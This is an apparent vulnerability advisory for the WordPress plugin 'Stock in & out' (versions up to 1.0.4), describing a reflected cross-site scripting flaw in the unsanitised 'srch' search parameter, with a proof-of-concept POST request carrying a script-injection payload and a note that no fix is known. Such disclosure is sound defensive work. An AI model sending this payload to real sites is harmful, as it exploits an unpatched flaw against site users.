WordPress Plugin Vulnerabilities
Stock in & out <= 1.0.4 - Reflected Cross-Site Scripting (XSS)
Description
The plugin has a search functionality, the lowest accessible level to it being contributor. The srch POST parameter is not validated, sanitised or escaped before using it in the echo statement, leading to a reflected XSS issue
Proof of Concept
POST /wp-admin/admin.php?page=stock_in HTTP/1.1 Content-Length: 66 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://172.28.128.50 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9 Cookie: [contributor+] Connection: close srch=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&search=Search+Product
Affects Plugins
No known fix References
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Shreya Pohekar of Codevigilant Project
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-05-27 (about 2 years ago)
Added
2021-05-27 (about 2 years ago)
Last Updated
2021-05-28 (about 2 years ago)
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